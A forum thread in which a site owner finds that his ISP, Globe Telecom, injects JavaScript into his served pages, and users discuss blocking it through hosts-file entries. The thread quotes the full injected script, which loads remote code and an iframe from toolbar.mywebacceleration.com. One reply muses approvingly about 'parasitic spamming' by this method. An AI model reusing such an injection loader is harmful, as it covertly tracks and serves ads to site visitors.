next »

[Bompa]

Yes, believe it or not.

I switched to a new ISP a few days ago, Globe Telecom in .PH and today while
uploading a page, I noticed some JS near the bottom of my page that I did not
put there. 

Code:

<!-- Layer8 version 2.0.0.107 --><script>if(top==window){var fn_selector_insertion_script="http://toolbar.mywebacceleration.com/tbpreload.js";runFnTbScript = function(){try{var tbInsertion = new FNH.TBInsertion();var tbData = "PFRCRGF0YT48VEJEYXRhSXRlbSBuYW1lPSJob3N0X3VybCIgdmFsdWU9Imh0dHA6Ly9jaW5kam9iLmNvbS8yMDAiID48L1RCRGF0YUl0ZW0+PFRCRGF0YUl0ZW0gbmFtZT0iaW5zZXJ0aW9uIiB2YWx1ZT0iaHR0cDovL3Rvb2xiYXIubXl3ZWJhY2NlbGVyYXRpb24uY29tL3NvdXJjZXMvaW5mcmEvanMvaW5zZXJ0aW9uX3BjLmpzIiBjb25maWd1cmF0aW9uPSJ0cnVlIiA+PC9UQkRhdGFJdGVtPjwvVEJEYXRhPg==";tbInsertion.parseTBData(tbData);var fnLayer8=tbInsertion.createIframeElement("fn_layer8", "http://toolbar.mywebacceleration.com/Globe/fakeToolbar.html");var owner;if(document.body){owner=document.body;}else{owner=document.documentElement;}var shouldAddDiv=tbInsertion.getAttributeFromTBData("div_wrapper");if(shouldAddDiv){var divWrpr=tbInsertion.createElement("div", "fn_wrapper_div");divWrpr.style.position="fixed";divWrpr.ontouchstart=function(){return true;};if (typeof fnLayer8 != "undefined")divWrpr.appendChild(fnLayer8);owner.appendChild(divWrpr);}else{if (typeof fnLayer8 != "undefined")owner.appendChild(fnLayer8);}var result=tbInsertion.getAttributeFromTBData("insertion");if(result){scriptLocation=result;}else{scriptLocation="http://toolbar.mywebacceleration.com/sources/infra/js/insertion_pc.js"}var fnd=document.createElement("script");fnd.setAttribute("src",scriptLocation);fnd.setAttribute("id","fn_toolbar_script");fnd.setAttribute("toolbardata",tbData);fnd.setAttribute("toolbarhash","ILHy2YbTvM5L0VS3ovK9SQ==");fnd.setAttribute("persdata","PFByaXZhdGVEYXRhPg0KPFByaXZhdGVJdGVtIGtleT0iY2xvc2VkIiB2YWx1ZT0iZmFsc2UiPg0KPC9Qcml2YXRlSXRlbT4NCjxQcml2YXRlSXRlbSBrZXk9Im1pbmltaXplZCIgdmFsdWU9ImZhbHNlIj4NCjwvUHJpdmF0ZUl0ZW0+DQo8UHJpdmF0ZUl0ZW0ga2V5PSJkZWZhdWx0UGVyc1ZhbHVlcyIgdmFsdWU9InRydWUiPg0KPC9Qcml2YXRlSXRlbT4NCjwvUHJpdmF0ZURhdGE+");document.body.appendChild(fnd);}catch(e){console.error("TB preload script failed: " + e);}};var fne=document.createElement("script");fne.setAttribute("src",fn_selector_insertion_script);fne.setAttribute("id","fn_selector_insertion_script");if(fne.addEventListener){fne.onload = runFnTbScript;}else {fne.onreadystatechange = function(){if ((this.readyState == "complete") || (this.readyState == "loaded")) runFnTbScript();}};if(document.head==null || document.head=="undefined" ){document.head = document.getElementsByTagName("head")[0];}document.head.appendChild(fne);};</script></body>

That is NOT in my code on my pc and it is NOT in my uploaded code.  It is only in my
browser's html source code.

So, my ISP is tracking my every move.  This might be in the agreement, but I was not shown
any agreement when I signed up.  Fairly outrageous, don't you agree?


I have read that JS can be used to remove JS and saw a post with an example:

Code:

<script>
$(function() {
$("#fn_layer8").remove();
});
</script>

http://thepoch.com/2013/globe-telecom-injecting-javascript-on-3g.html


That does not seem to make a difference.  Do I need to modify that?

Bomps

[Bompa]

As I see it, there are two issues here.

1. They are tracking ME literally. Not just my IP and browser sig, but I am sure
that the USB stick that I bought from them identifies itself. So, they can cross
reference that with my name, address, everything that I gave on the account
application.


2. There is an iframe in that JS that creates a large white space at the bottom
of my page.  It sucks. I think on mobile devices there is an ad there.

I have added these to my host file:
C:\WINDOWS\system32\drivers\etc\hosts

127.0.0.1    mywebacceleration.com
127.0.0.1    toolbar.webacceleration.com

However, when I check with wireshark, nothing is resolving to 127.0.0.1 so
that's not working, I think.

gees,
Bompa

[Bompa]

Ok, my mistake, the hosts file IS working. I thought the domain names
were treated like regex, but they must be FQDNs. duh

The white space is gone and I am still testing, but I think they can
not track me now.

[perkiset]

PM me a URL or two, let me take a look at what the page looks like for me.

With the new advanced packet filters they could do such a thing quite easily ... if you are delivering a page they just jump in and add a little to the bottom. It's not tough, but pretty shitty.

Ya, probably right, it's probably in the agreement that they can use your page delivery for their own means. Actually, a kind of interesting business model ... and you'd not care if your clients were spammers, you could STILL add ad content to the bottom and it's THEIR domain not yours that would get spanked. Hmmm. Parasitic spamming, Host is the vehicle. Interesting.

[taky]

pretty ambitious of your isp

toolbar.mywebacceleration.com/tbpreload.js doesn't resolve for me (us ip)

they are probably doing more than tracking you, probably injecting monetization into popular sites